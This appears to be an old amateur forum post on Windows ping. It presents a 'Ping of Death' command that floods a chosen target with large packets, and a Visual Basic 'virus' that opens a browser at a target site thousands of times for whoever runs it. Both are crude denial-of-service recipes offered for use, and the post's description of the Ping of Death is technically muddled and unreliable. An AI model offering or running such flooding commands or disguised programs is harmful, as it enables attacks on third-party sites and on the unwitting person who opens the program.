Default
Start => Run
Type cmd and press Enter
Type=> ping www.google.com
_______Start => Run
Do as i told you, type cmd and then type
ping /?
and you'll get a full list of commands. Ultimate ping, called PoD( Ping Of Death )
ping <target> -t -l 65500
ping = send bytes to the specific target
<target> = i.e www.google.com , 127.0.0.1
-t = It will go on forever till the target will stop sending you answers.
-l 65500 = size, -l declares size and 65500 is the maximum. You can also make an "virus" for something like a ping.

Make a new VB project and on form_load you put:

Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE http://www.google.pt")

Replace http://www.google.pt by your target and put that like 10000 times.

Whoever opens it will make a sort of ping to the site.

BE VERY CAREFULL DOING THIS